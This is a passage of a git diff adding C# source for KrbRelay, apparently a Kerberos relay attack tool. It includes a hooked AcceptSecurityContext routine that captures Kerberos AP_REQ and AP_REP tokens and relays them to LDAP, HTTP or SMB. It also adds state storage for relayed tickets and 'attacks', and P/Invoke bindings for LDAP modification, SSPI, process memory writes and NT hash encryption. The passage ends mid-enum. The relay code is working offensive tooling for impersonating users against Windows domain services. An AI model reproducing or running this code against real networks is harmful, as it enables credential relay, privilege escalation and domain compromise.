(State.apRep1.Length == 0) + { + byte[] ticket = Helpers.ConvertApReq(pInput->GetTokenBytes()); + State.UpdateApReq(ticket); + + var pPlaceholder = new SecurityBufferDescriptor(12288); + result = Interop.AcceptSecurityContext( + ref *phCredential, + ref *phContext, + ref *pInput, + fContextReq, + TargetDataRep, + ref *phNewContext, + ref pPlaceholder, + ref *pfContextAttr, + ref *ptsTimeStamp + ); + + Console.WriteLine("[*] AcceptSecurityContext: {0}", result); + Console.WriteLine(" |- Context Flags: {0}", fContextReq); + } + else if (State.apRep2.Length == 0) + { + State.UpdateApRep2(pInput->GetTokenBytes()); + } + else + { + Console.WriteLine("[*] AcceptSecurityContext hook returning {0}", result); + return result; + } + + string service = State.spn.Split('/').First(); + if (service.ToLower() == "ldap") + { + Ldap.Connect(); + } + else if (service.ToLower() == "http") + { + Http.Connect(); + } + else if (service.ToLower() == "cifs") + { + Smb.Connect(); + } + + if (State.apRep1.Length == 0) + { + Console.WriteLine("[!] apRep1 is empty!"); + return result; + } + + if (State.apRep2.Length == 0) + { + pOutput->UpdateTokenBytes(State.apRep1); + } + + return result; + } + } +} diff --git a/KrbRelay/Common/State.cs b/KrbRelay/Common/State.cs new file mode 100644 index 0000000..30cb53b --- /dev/null +++ b/KrbRelay/Common/State.cs @@ -0,0 +1,62 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading.Tasks; + +namespace KrbRelay +{ + static class State + { + // LDAP + public static SspiHandle ldap_CredHandle = new SspiHandle(); // Credential handle + public static IntPtr ld = IntPtr.Zero; // Open handle for LDAP APIs + + // Relay + public static byte[] apReq = new byte[] { }; + public static byte[] apRep1 = new byte[] { }; + public static byte[] apRep2 = new byte[] { }; + public static byte[] ticket = new byte[] { }; + + // Parameters + public static string spn = ""; + public static string relayedUser = ""; + public static string relayedUserDomain = ""; + public static string domainDN = ""; + public static string targetFQDN = ""; + public static bool useSSL = false; + public static Dictionary attacks = new Dictionary(); + + // Syncronization + public static bool stopSpoofing = false; + + public static void UpdateApReq(byte[] bytes) + { + apReq = bytes; + ticket = bytes; + Console.WriteLine("[*] Got initial AP_REQ"); +#if DEBUG + Console.WriteLine(" |- {0}", Helpers.ByteArrayToHex(bytes)); +#endif + } + + public static void UpdateApRep1(byte[] bytes) + { + apRep1 = bytes; + Console.WriteLine("[*] Got first AP_REP"); +#if DEBUG + Console.WriteLine(" |- {0}", Helpers.ByteArrayToHex(bytes)); +#endif + } + + public static void UpdateApRep2(byte[] bytes) + { + apRep2 = bytes; + ticket = bytes; + Console.WriteLine("[*] Got second AP_REP"); +#if DEBUG + Console.WriteLine(" |- {0}", Helpers.ByteArrayToHex(bytes)); +#endif + } + } +} diff --git a/KrbRelay/Interop/Interop.cs b/KrbRelay/Interop/Interop.cs new file mode 100644 index 0000000..133af1c --- /dev/null +++ b/KrbRelay/Interop/Interop.cs @@ -0,0 +1,310 @@ +using System; +using System.Runtime.InteropServices; +using System.Text; + +namespace KrbRelay +{ + public class Interop + { + // LDAP + + [DllImport("wldap32", CallingConvention = CallingConvention.Cdecl)] + public static extern uint ldap_set_option(IntPtr ld, uint option, ref uint invalue); + + [DllImport("wldap32", CallingConvention = CallingConvention.Cdecl)] + public static extern uint ldap_connect(IntPtr ld, LDAP_TIMEVAL timeout); + + [DllImport("wldap32", CallingConvention = CallingConvention.Cdecl)] + public static extern IntPtr ldap_init(string hostname, uint port); + + [DllImport( + "wldap32", + EntryPoint = "ldap_sasl_bind_s", + CallingConvention = CallingConvention.Cdecl + )] + public static extern int ldap_sasl_bind( + [In] IntPtr ld, + string dn, + string mechanism, + IntPtr cred, + IntPtr serverctrls, + IntPtr clientctrls, + out IntPtr msgidp + ); + + [DllImport("wldap32", CharSet = CharSet.Unicode, CallingConvention = CallingConvention.Cdecl)] + internal static extern int ldap_get_option(IntPtr ld, int option, out int value); + + [DllImport( + "wldap32", + CharSet = CharSet.Unicode, + CallingConvention = CallingConvention.Cdecl + )] + internal static extern int ldap_search( + IntPtr ld, + string @base, + int scope, + string filter, + IntPtr attrs, + int attrsonly + ); + + [DllImport("wldap32", CallingConvention = CallingConvention.Cdecl)] + internal static extern int ldap_result( + IntPtr ld, + int msgid, + int all, + LDAP_TIMEVAL timeout, + ref IntPtr pMessage + ); + + [DllImport("wldap32", CallingConvention = CallingConvention.Cdecl)] + internal static extern IntPtr ldap_first_entry(IntPtr ld, IntPtr pMessage); + + [DllImport("wldap32", CallingConvention = CallingConvention.Cdecl)] + internal static extern IntPtr ldap_next_entry(IntPtr ld, IntPtr pMessage); + + [DllImport("wldap32", CallingConvention = CallingConvention.Cdecl)] + internal static extern IntPtr ldap_get_dn(IntPtr ld, IntPtr message); + + [DllImport("wldap32", CallingConvention = CallingConvention.Cdecl)] + internal static extern IntPtr ldap_first_attribute( + IntPtr ld, + IntPtr entry, + ref IntPtr ppBer + ); + + [DllImport("wldap32", CallingConvention = CallingConvention.Cdecl)] + internal static extern IntPtr ldap_next_attribute( + IntPtr ld, + IntPtr entry, + ref IntPtr ppBer + ); + + [DllImport("wldap32", CallingConvention = CallingConvention.Cdecl)] + internal static extern IntPtr ldap_next_attribute(IntPtr ld, IntPtr entry, IntPtr ppBer); + + [DllImport("wldap32", CallingConvention = CallingConvention.Cdecl)] + internal static extern IntPtr ldap_get_values_len(IntPtr ld, IntPtr entry, IntPtr pBer); + + [DllImport( + "wldap32", + EntryPoint = "ldap_modify_s", + CharSet = CharSet.Unicode, + CallingConvention = CallingConvention.Cdecl + )] + internal static extern int ldap_modify(IntPtr ld, string dn, IntPtr mods); + + [DllImport("wldap32", CallingConvention = CallingConvention.Cdecl)] + internal static extern int ldap_unbind(IntPtr ld); + + [DllImport("wldap32", CallingConvention = CallingConvention.Cdecl)] + internal static extern void ldap_value_free_len(IntPtr vals); + + // Session + + [DllImport("Wtsapi32.dll")] + internal static extern bool WTSQuerySessionInformation( + IntPtr hServer, + int sessionId, + WtsInfoClass wtsInfoClass, + out System.IntPtr ppBuffer, + out uint pBytesReturned + ); + + // Encryption + + [DllImport( + "advapi32.dll", + EntryPoint = "SystemFunction018", + SetLastError = true, + CallingConvention = CallingConvention.StdCall + )] + private static extern uint RtlEncryptNtOwfPwdWithNtSesKey( + [In] byte[] ntOwfPassword, + [In] ref byte[] sessionkey, + [In, Out] byte[] encryptedNtOwfPassword + ); + + [DllImport( + "advapi32.dll", + EntryPoint = "SystemFunction018", + SetLastError = true, + CallingConvention = CallingConvention.StdCall + )] + private static extern uint RtlEncryptNtOwfPwdWithNtSesKey( + [In] byte[] ntOwfPassword, + [In] byte[] sessionkey, + [In, Out] byte[] encryptedNtOwfPassword + ); + + internal static uint RtlEncryptNtOwfPwdWithNtSesKey( + byte[] ntOwfPassword, + byte[] sessionkey, + out byte[] encryptedNtOwfPassword + ) + { + encryptedNtOwfPassword = new byte[16]; + return RtlEncryptNtOwfPwdWithNtSesKey( + ntOwfPassword, + ref sessionkey, + encryptedNtOwfPassword + ); + } + + // SSPI + + [DllImport("Secur32.dll")] + internal unsafe static extern SecurityStatusCode AcceptSecurityContext( + ref SspiHandle phCredential, + ref SspiHandle phContext, + ref SecurityBufferDescriptor pInput, + AcceptContextReqFlags fContextReq, + uint TargetDataRep, + ref SspiHandle phNewContext, + ref SecurityBufferDescriptor pOutput, + ref uint pfContextAttr, + ref LARGE_INTEGER ptsTimeStamp + ); + + [DllImport("secur32.dll")] + internal unsafe static extern SecurityStatusCode AcquireCredentialsHandle( + string pszPrincipal, + string pszPackage, // "Kerberos","NTLM","Negotiative" + uint fCredentialUse, + IntPtr pvLogonID, + IntPtr pAuthData, + IntPtr pGetKeyFn, + IntPtr pvGetKeyArgument, + ref SspiHandle phCredential, + ref LARGE_INTEGER ptsExpiry + ); + + [DllImport("secur32.dll")] + internal unsafe static extern SecurityStatusCode InitializeSecurityContext( + ref SspiHandle phCredential, + ref SspiHandle phContext, + string pszTargetName, + uint fContextReq, + uint Reserved1, + uint TargetDataRep, + ref SecurityBufferDescriptor pInput, + uint Reserved2, + ref SspiHandle phNewContext, + ref SecurityBufferDescriptor pOutput, + ref uint pfContextAttr, + ref LARGE_INTEGER ptsExpiry + ); + + [DllImport("secur32.dll")] + internal unsafe static extern SecurityStatusCode QueryContextAttributes( + ref SspiHandle phContext, + uint ulAttribute, + IntPtr pValue + ); + + [DllImport("Secur32.dll")] + internal static extern uint DeleteSecurityContext(ref SspiHandle phContext); + + [DllImport("sspicli.dll", EntryPoint = "InitSecurityInterfaceW")] + internal static extern IntPtr InitSecurityInterface(); + + [DllImport("Secur32.dll")] + internal static extern uint FreeContextBuffer(IntPtr pvContextBuffer); + + [DllImport("Secur32.dll")] + internal static extern uint FreeCredentialsHandle(ref SspiHandle phCredential); + + // WinAPI + + [DllImport("ntdll.dll")] + internal static extern UInt32 NtQueryInformationProcess( + IntPtr processHandle, + UInt32 processInformationClass, + ref PROCESS_BASIC_INFORMATION processInformation, + int processInformationLength, + ref UInt32 returnLength + ); + + [DllImport("kernel32.dll", SetLastError = true)] + internal static extern bool CloseHandle(IntPtr hObject); + + [DllImport("kernel32", SetLastError = true)] + internal static extern IntPtr LoadLibrary(string lpFileName); + + [DllImport("kernel32.dll", SetLastError = true)] + internal static extern IntPtr GetModuleHandle(string lpModuleName); + + [DllImport("kernel32.dll", SetLastError = true)] + [PreserveSig] + public static extern uint GetModuleFileName( + [In] IntPtr hModule, + [Out] StringBuilder lpFilename, + [In] [MarshalAs(UnmanagedType.U4)] int nSize + ); + + [DllImport("kernel32.dll", SetLastError = true)] + public static extern bool WriteProcessMemory( + IntPtr hProcess, + IntPtr lpBaseAddress, + byte[] lpBuffer, + Int32 nSize, + out IntPtr lpNumberOfBytesWritten + ); + + [DllImport("Advapi32.dll")] + internal static extern int RegOverridePredefKey(IntPtr hKey,IntPtr hNewHKey); + + [DllImport("kernel32.dll", SetLastError = true)] + public static extern bool ReadProcessMemory( + IntPtr hProcess, + IntPtr lpBaseAddress, + byte[] lpBuffer, + Int32 nSize, + out IntPtr lpNumberOfBytesRead + ); + + // RPC + [DllImport("rpcrt4.dll")] + public static extern int RpcServerUseProtseqEp( + string Protseq, + uint MaxCalls, + string Endpoint, + IntPtr SecurityDescriptor + ); + + [DllImport( + "Rpcrt4.dll", + EntryPoint = "RpcServerRegisterAuthInfo", + CallingConvention = CallingConvention.StdCall, + CharSet = CharSet.Unicode, + SetLastError = true + )] + public static extern int RpcServerRegisterAuthInfo( + String ServerPrincName, + uint AuthnSvc, + IntPtr GetKeyFn, + IntPtr Arg + ); + + // COM + + [DllImport("ole32.dll")] + internal static extern int CoInitializeSecurity( + IntPtr pSecDesc, + int cAuthSvc, + SOLE_AUTHENTICATION_SERVICE[] asAuthSvc, + IntPtr pReserved1, + AuthnLevel dwAuthnLevel, + ImpLevel dwImpLevel, + IntPtr pAuthList, + AuthenticationCapabilities dwCapabilities, + IntPtr pReserved3 + ); + + // Kerberos + + [DllImport("cryptdll.Dll", CharSet = CharSet.Auto, SetLastError = false)] + internal static extern int CDLocateCSystem(KERB_ETYPE type, out IntPtr pCheckSum); + } +} diff --git a/KrbRelay/Interop/Kerberos.cs b/KrbRelay/Interop/Kerberos.cs new file mode 100644 index 0000000..8486a3b --- /dev/null +++ b/KrbRelay/Interop/Kerberos.cs @@ -0,0 +1,62 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Runtime.InteropServices; + +namespace KrbRelay +{ + // https://tools.ietf.org/html/rfc3961 + internal enum KERB_ETYPE : UInt32 + { + des_cbc_crc = 1, + des_cbc_md4 = 2, + des_cbc_md5 = 3, + des3_cbc_md5 = 5, + des3_cbc_sha1 = 7, + dsaWithSHA1_CmsOID = 9, + md5WithRSAEncryption_CmsOID = 10, + sha1WithRSAEncryption_CmsOID = 11, + rc2CBC_EnvOID = 12, + rsaEncryption_EnvOID = 13, + rsaES_OAEP_ENV_OID = 14, + des_ede3_cbc_Env_OID = 15, + des3_cbc_sha1_kd = 16, + aes128_cts_hmac_sha1 = 17, + aes256_cts_hmac_sha1 = 18, + rc4_hmac = 23, + rc4_hmac_exp = 24, + subkey_keymaterial = 65 + } + + // From Vincent LE TOUX' "MakeMeEnterpriseAdmin" + // https://github.com/vletoux/MakeMeEnterpriseAdmin/blob/master/MakeMeEnterpriseAdmin.ps1#L1773-L1794 + [StructLayout(LayoutKind.Sequential)] + internal struct KERB_ECRYPT + { + private int Type0; + public int BlockSize; + private int Type1; + public int KeySize; + public int Size; + private int unk2; + private int unk3; + public IntPtr AlgName; + public IntPtr Initialize; + public IntPtr Encrypt; + public IntPtr Decrypt; + public IntPtr Finish; + public IntPtr HashPassword; + private IntPtr RandomKey; + private IntPtr Control; + private IntPtr unk0_null; + private IntPtr unk1_null; + private IntPtr unk2_null; + }; + + internal delegate int KERB_ECRYPT_HashPassword( + UNICODE_STRING Password, + UNICODE_STRING Salt, + int count, + byte[] output + ); +} diff --git a/KrbRelay/Interop/Ldap.cs b/KrbRelay/Interop/Ldap.cs new file mode 100644 index 0000000..15b44d6 --- /dev/null +++ b/KrbRelay/Interop/Ldap.cs @@ -0,0 +1,162 @@ +using System; +using System.Runtime.InteropServices; +using System.Text; +using SMBLibrary; + +namespace KrbRelay +{ + internal enum LdapModOperation + { + Add = 0x00, + Delete = 0x01, + Replace = 0x02, + BValues = 0x80 + } + + internal enum LdapSearchScope + { + Base = 0x0000, + BaseObject = Base, + One = 0x0001, + OneLevel = One, + Sub = 0x0002, + SubTree = Sub, + Subordinate = 0x0003, /* OpenLDAP extension */ + Children = Subordinate, + Default = -1, /* OpenLDAP extension */ + } + + internal enum LdapResultType + { + Error = -1, + Timeout = 0, + Bind = 0x61, + SearchEntry = 0x64, + SearchReference = 0x73, + SearchResult = 0x65, + Modify = 0x67, + Add = 0x69, + Delete = 0x6b, + Moddn = 0x6d, + Compare = 0x6f, + Extended = 0x78, + Intermediate = 0x79 + } + + internal enum LdapStatus + { + Success = 0, + OperationsError = 1, + ProtocolError = 2, + TimelimitExceeded = 3, + SizelimitExceeded = 4, + CompareFalse = 5, + CompareTrue = 6, + AuthMethodNotSupported = 7, + StrongAuthRequired = 8, + Referral = 9, + AdminLimitExceeded = 11, + UnavailableCriticalExtension = 12, + ConfidentialityRequired = 13, + SaslBindInProgress = 14, + NoSuchAttribute = 16, + UndefinedType = 17, + InappropriateMatching = 18, + ConstraintViolation = 19, + TypeOrValueExists = 20, + InvalidSyntax = 21, + NoSuchObject = 32, + AliasProblem = 33, + InvalidDnSyntax = 34, + IsLeaf = 35, + AliasDerefProblem = 36, + InappropriateAuth = 48, + InvalidCredentials = 49, + InsufficientAccess = 50, + Busy = 51, + Unavailable = 52, + UnwillingToPerform = 53, + LoopDetect = 54, + NamingViolation = 64, + ObjectClassViolation = 65, + NotAllowedOnNonleaf = 66, + NotAllowedOnRdn = 67, + AlreadyExists = 68, + NoObjectClassMods = 69, + ResultsTooLarge = 70, + AffectsMultipleDsas = 71, + Other = 80, + ServerDown = -1, + LocalError = -2, + EncodingError = -3, + DecodingError = -4, + Timeout = -5, + AuthUnknown = -6, + FilterError = -7, + UserCancelled = -8, + ParamError = -9, + NoMemory = -10, + ConnectError = -11, + NotSupported = -12, + ControlNotFound = -13, + NoResultsReturned = -14, + MoreResultsToReturn = -15, + ClientLoop = -16, + ReferralLimitExceeded = -17, + } + + [StructLayout(LayoutKind.Sequential)] + internal class berval + { + public int bv_len; + public IntPtr bv_val = IntPtr.Zero; + } + + [StructLayout(LayoutKind.Sequential)] + public sealed class LDAP_TIMEVAL + { + public int tv_sec; + public int tv_usec; + } + + //https://github.com/go-win/go-windows/blob/3c4cf4813fb68a44704529efb5f5c78ecbb1b380/windows/win32/ldap/enums.go#L11 + + [StructLayout(LayoutKind.Sequential)] + internal class LDAPMod + { + /// + /// Values that you want to add, delete, or replace. + /// + [StructLayout(LayoutKind.Explicit)] + public struct mod_vals + { + /// + /// Pointer to a NULL terminated array of string values for the attribute. + /// + [FieldOffset(0)] + public IntPtr modv_strvals; + + /// + /// Pointer to a NULL-terminated array of berval structures for the attribute. + /// + [FieldOffset(0)] + public IntPtr modv_bvals; + } + + /// + /// The operation to be performed on the attribute and the type of data specified as the attribute values. + /// + public int mod_op; + + /// + /// Pointer to the attribute type that you want to add, delete, or replace. + /// + public IntPtr mod_type; + + /// + /// A NULL-terminated array of string values for the attribute. + /// + public mod_vals mod_vals_u; + public IntPtr mod_next; + } +} diff --git a/KrbRelay/Interop/Misc.cs b/KrbRelay/Interop/Misc.cs new file mode 100644 index 0000000..6f620f8 --- /dev/null +++ b/KrbRelay/Interop/Misc.cs @@ -0,0 +1,89 @@ +using System; +using System.Runtime.InteropServices; + +namespace KrbRelay +{ + internal enum AuthenticationCapabilities + { + None = 0, + MutualAuth = 0x1, + StaticCloaking = 0x20, + DynamicCloaking = 0x40, + AnyAuthority = 0x80, + MakeFullsic = 0x100, + Default = 0x800, + SecureRefs = 0x2, + AccessControl = 0x4, + Appid = 0x8, + Dynamic = 0x10, + RequireFullsic = 0x200, + AutoImpersonate = 0x400, + NoCustomMarshal = 0x2000, + DisableAaa = 0x1000 + } + + internal struct SOLE_AUTHENTICATION_SERVICE + { + public int dwAuthnSvc; + public int dwAuthzSvc; + + [MarshalAs(UnmanagedType.LPWStr)] + public string pPrincipalName; + public int hr; + } + + [StructLayout(LayoutKind.Sequential)] + internal struct UNICODE_STRING : IDisposable + { + public ushort Length; + public ushort MaximumLength; + public IntPtr buffer; + + public UNICODE_STRING(string s) + { + Length = (ushort)(s.Length * 2); + MaximumLength = (ushort)(Length + 2); + buffer = Marshal.StringToHGlobalUni(s); + } + + public void Dispose() + { + Marshal.FreeHGlobal(buffer); + buffer = IntPtr.Zero; + } + + public override string ToString() + { + return Marshal.PtrToStringUni(buffer); + } + } + + internal struct PROCESS_BASIC_INFORMATION + { + public IntPtr ExitStatus; + public IntPtr PebBaseAddress; + public IntPtr AffinityMask; + public IntPtr BasePriority; + public UIntPtr UniqueProcessId; + public int InheritedFromUniqueProcessId; + + public int Size + { + get { return (int)Marshal.SizeOf(typeof(PROCESS_BASIC_INFORMATION)); } + } + } + + [StructLayout(LayoutKind.Sequential)] + public struct LARGE_INTEGER + { + public uint LowPart; + public int HighPart; + }; + + [StructLayout(LayoutKind.Sequential)] + public struct SECURITY_INTEGER + { + public uint LowPart; + public int HighPart; + }; +} diff --git a/KrbRelay/Interop/PE.cs b/KrbRelay/Interop/PE.cs new file mode 100644 index 0000000..0c895af --- /dev/null +++ b/KrbRelay/Interop/PE.cs @@ -0,0 +1,155 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Runtime.InteropServices; + +namespace KrbRelay +{ + // https://gist.github.com/augustoproiete/b51f29f74f5f5b2c59c39e47a8afc3a3 + + public struct IMAGE_DOS_HEADER + { + public UInt16 e_magic; // Magic number + public UInt16 e_cblp; // Bytes on last page of file + public UInt16 e_cp; // Pages in file + public UInt16 e_crlc; // Relocations + public UInt16 e_cparhdr; // Size of header in paragraphs + public UInt16 e_minalloc; // Minimum extra paragraphs needed + public UInt16 e_maxalloc; // Maximum extra paragraphs needed + public UInt16 e_ss; // Initial (relative) SS value + public UInt16 e_sp; // Initial SP value + public UInt16 e_csum; // Checksum + public UInt16 e_ip; // Initial IP value + public UInt16 e_cs; // Initial (relative) CS value + public UInt16 e_lfarlc; // File address of relocation table + public UInt16 e_ovno; // Overlay number + public UInt16 e_res_0; // Reserved words + public UInt16 e_res_1; // Reserved words + public UInt16 e_res_2; // Reserved words + public UInt16 e_res_3; // Reserved words + public UInt16 e_oemid; // OEM identifier (for e_oeminfo) + public UInt16 e_oeminfo; // OEM information; e_oemid specific + public UInt16 e_res2_0; // Reserved words + public UInt16 e_res2_1; // Reserved words + public UInt16 e_res2_2; // Reserved words + public UInt16 e_res2_3; // Reserved words + public UInt16 e_res2_4; // Reserved words + public UInt16 e_res2_5; // Reserved words + public UInt16 e_res2_6; // Reserved words + public UInt16 e_res2_7; // Reserved words + public UInt16 e_res2_8; // Reserved words + public UInt16 e_res2_9; // Reserved words + public UInt32 e_lfanew; // File address of new exe header + } + + [StructLayout(LayoutKind.Sequential)] + public struct IMAGE_DATA_DIRECTORY + { + public UInt32 VirtualAddress; + public UInt32 Size; + } + + [StructLayout(LayoutKind.Sequential, Pack = 1)] + public struct IMAGE_OPTIONAL_HEADER + { + public UInt16 Magic; + public Byte MajorLinkerVersion; + public Byte MinorLinkerVersion; + public UInt32 SizeOfCode; + public UInt32 SizeOfInitializedData; + public UInt32 SizeOfUninitializedData; + public UInt32 AddressOfEntryPoint; + public UInt32 BaseOfCode; + public IntPtr ImageBase; + public UInt32 SectionAlignment; + public UInt32 FileAlignment; + public UInt16 MajorOperatingSystemVersion; + public UInt16 MinorOperatingSystemVersion; + public UInt16 MajorImageVersion; + public UInt16 MinorImageVersion; + public UInt16 MajorSubsystemVersion; + public UInt16 MinorSubsystemVersion; + public UInt32 Win32VersionValue; + public UInt32 SizeOfImage; + public UInt32 SizeOfHeaders; + public UInt32 CheckSum; + public UInt16 Subsystem; + public UInt16 DllCharacteristics; + public IntPtr SizeOfStackReserve; + public IntPtr SizeOfStackCommit; + public IntPtr SizeOfHeapReserve; + public IntPtr SizeOfHeapCommit; + public UInt32 LoaderFlags; + public UInt32 NumberOfRvaAndSizes; + + public IMAGE_DATA_DIRECTORY ExportTable; + public IMAGE_DATA_DIRECTORY ImportTable; + public IMAGE_DATA_DIRECTORY ResourceTable; + public IMAGE_DATA_DIRECTORY ExceptionTable; + public IMAGE_DATA_DIRECTORY CertificateTable; + public IMAGE_DATA_DIRECTORY BaseRelocationTable; + public IMAGE_DATA_DIRECTORY Debug; + public IMAGE_DATA_DIRECTORY Architecture; + public IMAGE_DATA_DIRECTORY GlobalPtr; + public IMAGE_DATA_DIRECTORY TLSTable; + public IMAGE_DATA_DIRECTORY LoadConfigTable; + public IMAGE_DATA_DIRECTORY BoundImport; + public IMAGE_DATA_DIRECTORY IAT; + public IMAGE_DATA_DIRECTORY DelayImportDescriptor; + public IMAGE_DATA_DIRECTORY CLRRuntimeHeader; + public IMAGE_DATA_DIRECTORY Reserved; + } + + [StructLayout(LayoutKind.Sequential, Pack = 1)] + public struct IMAGE_FILE_HEADER + { + public UInt16 Machine; + public UInt16 NumberOfSections; + public UInt32 TimeDateStamp; + public UInt32 PointerToSymbolTable; + public UInt32 NumberOfSymbols; + public UInt16 SizeOfOptionalHeader; + public UInt16 Characteristics; + } + + [StructLayout(LayoutKind.Sequential, Pack = 4)] + public struct IMAGE_NT_HEADERS + { + public Int32 Signature; + public IMAGE_FILE_HEADER FileHeader; + public IMAGE_OPTIONAL_HEADER OptionalHeader; + } + + // Grabbed the following 2 definitions from http://www.pinvoke.net/default.aspx/Structures/IMAGE_SECTION_HEADER.html + + [StructLayout(LayoutKind.Explicit)] + public struct IMAGE_SECTION_HEADER + { + [FieldOffset(0)] + [MarshalAs(UnmanagedType.ByValArray, SizeConst = 8)] + public char[] Name; + [FieldOffset(8)] + public UInt32 VirtualSize; + [FieldOffset(12)] + public UInt32 VirtualAddress; + [FieldOffset(16)] + public UInt32 SizeOfRawData; + [FieldOffset(20)] + public UInt32 PointerToRawData; + [FieldOffset(24)] + public UInt32 PointerToRelocations; + [FieldOffset(28)] + public UInt32 PointerToLinenumbers; + [FieldOffset(32)] + public UInt16 NumberOfRelocations; + [FieldOffset(34)] + public UInt16 NumberOfLinenumbers; + [FieldOffset(36)] + public uint Characteristics; + + public string Section + { + get { return new string(Name); } + } + } +} diff --git a/KrbRelay/Interop/Rpc.cs b/KrbRelay/Interop/Rpc.cs new file mode 100644 index 0000000..2f7759f --- /dev/null +++ b/KrbRelay/Interop/Rpc.cs @@ -0,0 +1,27 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Runtime.InteropServices; + +namespace KrbRelay +{ + public enum AuthnLevel + { + Default = 0, + None = 1, + Connect = 2, + Call = 3, + Pkt = 4, + PktIntegrity = 5, + PktPrivacy = 6 + } + + public enum ImpLevel + { + Default = 0, + Anonymous = 1, + Identify = 2, + Impersonate = 3, + Delegate = 4, + } +} diff --git a/KrbRelay/Interop/Sspi.cs b/KrbRelay/Interop/Sspi.cs new file mode 100644 index 0000000..60aef3f --- /dev/null +++ b/KrbRelay/Interop/Sspi.cs @@ -0,0 +1,477 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Runtime.InteropServices; + +namespace KrbRelay +{ + [Flags] + internal enum SecurityBufferType : uint + { + Version = 0, + Empty = 0, + Data = 1, + Token = 2, + PkgParams = 3, + Missing = 4, + Extra = 5, + StreamTrailer = 6, + StreamHeader = 7, + Padding = 9, + Stream = 10, + Mechlist = 11, + MechlistSignature = 12, + Target = 13, + ChannelBindings = 14, + ChangePassResponse = 15, + TargetHost = 16, + Alert = 17, + ApplicationProtocols = 18, + SrtpProtectionProfiles = 19, + SrtpMasterKeyIdentifier = 20, + TokenBinding = 21, + PresharedKey = 22, + PresharedKeyIdentity = 23, + DtlsMtu = 24, + AttrMask = 0xF0000000, + Readonly = 0x80000000, + ReadonlyWithChecksum = 0x10000000 + } + + [Flags] + internal enum SecurityDataRep : uint + { + Native = 0x00000010, + Network = 0x00000000 + } + + internal enum SecurityStatusCode : uint + { + Success = 0, + ContinueNeeded = 0x00090312, + CompleteNeeded = 0x00090313, + CompleteAndContinue = 0x00090314, + AsyncCallPending = 0x00090368, + ContextExpired = 0x00090317, + ContinueNeededMessageOk = 0x00090366, + GenericExtensionReceived = 0x00090316, + IncompleteCredentials = 0x00090320, + LocalLogon = 0x00090315, + MessageFragment = 0x00090364, + NoLsaContext = 0x00090323, + NoRenegotiation = 0x00090360, + Renegotiate = 0x00090321, + SignatureNeeded = 0x0009035C, + AlgorithmMismatch = 0x80090331, + ApplicationProtocolMismatch = 0x80090367, + BadBindings = 0x80090346, + BadPkgid = 0x80090316, + BufferTooSmall = 0x80090321, + CannotInstall = 0x80090307, + CannotPack = 0x80090309, + CertExpired = 0x80090328, + CertUnknown = 0x80090327, + CertWrongUsage = 0x80090349, + CrossrealmDelegationFailure = 0x80090357, + CryptoSystemInvalid = 0x80090337, + DecryptFailure = 0x80090330, + DelegationPolicy = 0x8009035E, + DelegationRequired = 0x80090345, + DowngradeDetected = 0x80090350, + EncryptFailure = 0x80090329, + ExtBufferTooSmall = 0x8009036A, + IllegalMessage = 0x80090326, + IncompleteMessage = 0x80090318, + InsufficientBuffers = 0x8009036B, + InsufficientMemory = 0x80090300, + InternalError = 0x80090304, + InvalidHandle = 0x80090301, + InvalidParameter = 0x8009035D, + InvalidToken = 0x80090308, + InvalidUpnName = 0x80090369, + IssuingCaUntrusted = 0x80090352, + IssuingCaUntrustedKdc = 0x80090359, + KdcCertExpired = 0x8009035A, + KdcCertRevoked = 0x8009035B, + KdcInvalidRequest = 0x80090340, + KdcUnableToRefer = 0x80090341, + KdcUnknownEtype = 0x80090342, + LogonDenied = 0x8009030C, + MaxReferralsExceeded = 0x80090338, + MessageAltered = 0x8009030F, + MultipleAccounts = 0x80090347, + MustBeKdc = 0x80090339, + MutualAuthFailed = 0x80090363, + NotOwner = 0x80090306, + NoAuthenticatingAuthority = 0x80090311, + NoContext = 0x80090361, + NoCredentials = 0x8009030E, + NoImpersonation = 0x8009030B, + NoIpAddresses = 0x80090335, + NoKerbKey = 0x80090348, + NoPaData = 0x8009033C, + NoS4uProtSupport = 0x80090356, + NoTgtReply = 0x80090334, + OnlyHttpsAllowed = 0x80090365, + OutOfSequence = 0x80090310, + PkinitClientFailure = 0x80090354, + PkinitNameMismatch = 0x8009033D, + Pku2uCertFailure = 0x80090362, + PolicyNltmOnly = 0x8009035F, + QopNotSupported = 0x8009030A, + RevocationOfflineC = 0x80090353, + RevocationOfflineKdc = 0x80090358, + SecpkgNotFound = 0x80090305, + SecurityQosFailed = 0x80090332, + ShutdownInProgress = 0x8009033F, + SmartcardCertExpired = 0x80090355, + SmartcardCertRevoked = 0x80090351, + SmartcardLogonRequired = 0x8009033E, + StrongCryptoNotSupported = 0x8009033A, + TargetUnknown = 0x80090303, + TimeSkew = 0x80090324, + TooManyPrincipals = 0x8009033B, + UnfinishedContextDeleted = 0x80090333, + UnknownCredentials = 0x8009030D, + UnsupportedFunction = 0x80090302, + UnsupportedPreauth = 0x80090343, + UntrustedRoot = 0x80090325, + WrongCredentialHandle = 0x80090336, + WrongPrincipal = 0x80090322 + } + + [Flags] + internal enum AcceptContextRetFlags + { + None = 0, + Delegate = 0x00000001, + MutualAuth = 0x00000002, + ReplayDetect = 0x00000004, + SequenceDetect = 0x00000008, + Confidentiality = 0x00000010, + UseSessionKey = 0x00000020, + SessionTicket = 0x00000040, + AllocatedMemory = 0x00000100, + UsedDceStyle = 0x00000200, + Datagram = 0x00000400, + Connection = 0x00000800, + CallLevel = 0x00002000, + ThirdLegFailed = 0x00004000, + ExtendedError = 0x00008000, + Stream = 0x00010000, + Integrity = 0x00020000, + Licensing = 0x00040000, + Identify = 0x00080000, + NullSession = 0x00100000, + AllowNonUserLogons = 0x00200000, + AllowContextReplay = 0x00400000, + FragmentOnly = 0x00800000, + NoToken = 0x01000000, + NoAdditionalToken = 0x02000000 + } + + [Flags] + internal enum AcceptContextReqFlags + { + None = 0, + Delegate = 0x00000001, + MutualAuth = 0x00000002, + ReplayDetect = 0x00000004, + SequenceDetect = 0x00000008, + Confidentiality = 0x00000010, + UseSessionKey = 0x00000020, + SessionTicket = 0x00000040, + AllocateMemory = 0x00000100, + UseDceStyle = 0x00000200, + Datagram = 0x00000400, + Connection = 0x00000800, + CallLevel = 0x00001000, + FragmentSupplied = 0x00002000, + ExtendedError = 0x00008000, + Stream = 0x00010000, + Integrity = 0x00020000, + Licensing = 